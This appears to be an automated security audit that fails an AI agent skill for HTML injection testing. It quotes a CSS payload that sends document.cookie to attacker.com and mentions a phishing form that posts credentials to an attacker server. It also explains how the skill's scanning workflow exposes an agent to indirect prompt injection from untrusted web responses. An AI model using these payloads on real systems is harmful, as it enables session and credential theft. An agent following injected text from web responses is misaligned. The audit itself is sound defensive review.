HTML Injection Testing
Fail
Audited by Gen Agent Trust Hub on Nov 1, 2026
Risk Level: HIGHDATA_EXFILTRATIONCOMMAND_EXECUTIONINDIRECT_PROMPT_INJECTION
Full Analysis
- [DATA_EXFILTRATION]: The skill provides weaponized payloads designed to harvest and exfiltrate sensitive user data to external domains.
- It includes instructions for exfiltrating session cookies using CSS background URLs:
body { background: url('http://attacker.com/track?cookie='+document.cookie) }. - It provides functional templates for constructing phishing login forms that redirect captured credentials to an attacker-controlled server (
http://attacker.com/capture). - It demonstrates techniques for "Hidden credential stealer" attacks using CSS background properties to leak input field values to external URLs.
- [COMMAND_EXECUTION]: The skill includes executable code and command-line tools for automating the identification and exploitation of vulnerabilities.
- It provides a Python script utilizing the
requestslibrary to perform automated fuzzing of target parameters with various injection payloads. - It includes multiple
curlcommand examples intended for testing reflection and verifying successful content injection on remote servers. - [INDIRECT_PROMPT_INJECTION]: The skill's automated scanning workflow creates a significant surface for indirect prompt injection from external, untrusted sources.
- Ingestion points: The included Python script ingest and processes the raw body of HTTP responses from external target servers (
response.text). - Boundary markers: The instructions lack any boundary markers or specific guidance to ensure the agent ignores potentially malicious or deceptive instructions reflected from a target website during the scanning process.
- Capability inventory: The skill has access to network operations (Python
requests,curl) and file system access (for reporting), which could be manipulated by reflected content. - Sanitization: There is no evidence of sanitization, escaping, or validation of the data returned from external targets before it is processed by the script or presented to the agent's context.
Recommendations
- AI detected serious security threats
Audit Metadata